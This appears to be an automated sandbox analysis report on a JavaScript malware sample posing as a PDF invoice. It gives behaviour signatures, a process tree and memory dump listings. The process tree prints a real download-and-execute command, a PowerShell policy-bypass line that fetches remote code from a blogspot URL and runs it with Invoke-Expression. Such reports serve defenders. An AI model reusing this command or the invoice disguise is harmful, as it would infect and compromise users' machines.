Analysis
- max time kernel
149s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 07:56
General
- Target invoice-1645080830.pdf (12).js
- Size 21.6MB
- Sample260427-jsrrqagx5j
- SHA256 24d200685c6c8e7c4bc7edb4d2676129ebf68c1a2bdb77ae9288cb18fd97bcbd
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (12).js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 172⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_fyit3lsx.5jy.ps1
memory/4520-1-0x000001F7B0E30000-0x000001F7B0F1A000-memory.dmp
memory/4520-0-0x000001F7AE230000-0x000001F7AE23C000-memory.dmp
memory/4716-13-0x00007FF4FCA00000-0x00007FF4FCA10000-memory.dmp
memory/4716-21-0x00000249F9B20000-0x00000249F9BD3000-memory.dmp
memory/4716-10-0x00000249F95A0000-0x00000249F95C2000-memory.dmp
memory/4716-11-0x00000249E0DF0000-0x00000249E0E00000-memory.dmp
memory/4716-12-0x00000249F9BF0000-0x00000249F9DB2000-memory.dmp
memory/4716-2-0x00000249E0DF0000-0x00000249E0E00000-memory.dmp
memory/4716-20-0x00000249F9860000-0x00000249F987C000-memory.dmp
memory/4716-3-0x00000249E0DF0000-0x00000249E0E00000-memory.dmp
memory/4716-22-0x00000249F9880000-0x00000249F988A000-memory.dmp
memory/4716-23-0x00000249F9DC0000-0x00000249F9DDC000-memory.dmp
memory/4716-24-0x00000249E0DF0000-0x00000249E0E00000-memory.dmp
memory/4716-25-0x00000249E0DF0000-0x00000249E0E00000-memory.dmp
memory/4716-26-0x00000249DF600000-0x00000249DF60C000-memory.dmp
memory/4716-28-0x00000249E0E60000-0x00000249E0E72000-memory.dmp
memory/4716-27-0x00000249F9480000-0x00000249F956A000-memory.dmp
memory/4716-29-0x00007FF4FCA00000-0x00007FF4FCA10000-memory.dmp